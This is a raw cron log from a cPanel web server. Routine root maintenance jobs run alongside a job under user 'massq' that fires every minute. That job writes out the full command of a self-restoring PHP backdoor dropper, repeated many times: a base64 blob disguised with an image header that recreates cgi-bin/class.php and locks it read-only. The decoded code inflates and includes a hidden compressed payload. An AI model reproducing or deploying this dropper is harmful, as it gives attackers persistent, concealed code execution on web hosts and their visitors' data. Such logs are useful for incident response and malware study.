Sep  8 11:28:01 server CROND[20736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:28:01 server CROND[20737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:29:01 server CROND[21119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:29:01 server CROND[21117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:29:01 server CROND[21118]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:30:01 server CROND[21523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:30:01 server CROND[21525]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:30:01 server CROND[21526]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 11:30:01 server CROND[21528]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:30:01 server CROND[21527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:30:01 server CROND[21529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 11:30:01 server CROND[21531]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 11:30:01 server CROND[21530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:31:02 server CROND[22418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:31:02 server CROND[22419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:31:02 server CROND[22420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:32:01 server CROND[22857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:32:01 server CROND[22858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:32:01 server CROND[22876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:33:01 server CROND[23443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:33:01 server CROND[23444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:33:01 server CROND[23445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:34:01 server CROND[23818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:34:01 server CROND[23819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:34:01 server CROND[23820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:35:01 server CROND[24205]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 11:35:01 server CROND[24207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 11:35:01 server CROND[24210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:35:01 server CROND[24211]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 11:35:01 server CROND[24217]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 11:35:01 server CROND[24221]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 11:35:01 server CROND[24224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:35:01 server CROND[24222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:35:01 server CROND[24226]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 11:36:01 server CROND[25061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:36:01 server CROND[25062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:36:01 server CROND[25063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:37:01 server CROND[25453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:37:01 server CROND[25454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:37:01 server CROND[25455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:38:01 server CROND[25940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 11:38:01 server CROND[25941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:38:01 server CROND[25942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:39:01 server CROND[26320]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 11:39:01 server CROND[26322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 11:39:01 server CROND[26321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 11:39:01 server CROND[26328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
